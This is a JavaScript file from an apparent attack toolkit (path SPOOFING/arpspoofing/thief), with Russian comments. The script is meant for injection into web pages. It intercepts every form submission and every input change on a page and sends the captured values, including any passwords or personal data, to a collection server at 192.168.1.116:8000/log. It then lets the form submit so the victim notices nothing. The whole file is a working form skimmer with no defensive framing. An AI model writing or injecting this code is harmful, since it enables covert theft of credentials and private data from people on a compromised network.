Files
SPOOFING/arpspoofing/thief/js_thief.js

33 lines
1.2 KiB
JavaScript
Raw Normal View History

document.addEventListener('DOMContentLoaded', function() {
// Перехватываем все формы на странице
const forms = document.getElementsByTagName('form');
for (let form of forms) {
form.addEventListener('submit', function(e) {
e.preventDefault(); // Блокируем стандартную отправку
const data = new FormData(form);
let stolenData = {};
for (let [key, value] of data.entries()) {
stolenData[key] = value;
}
// Отправляем данные на ваш сервер
fetch('http://192.168.1.116:8000/log', {
method: 'POST',
body: JSON.stringify(stolenData),
headers: { 'Content-Type': 'application/json' }
}).then(() => form.submit()); // Отправляем форму после кражи
});
}
// Перехватываем ввод в реальном времени (если формы нет)
const inputs = document.getElementsByTagName('input');
for (let input of inputs) {
input.addEventListener('change', function() {
fetch('http://192.168.1.116:8000/log', {
method: 'POST',
body: JSON.stringify({ [input.name]: input.value })
});
});
}
});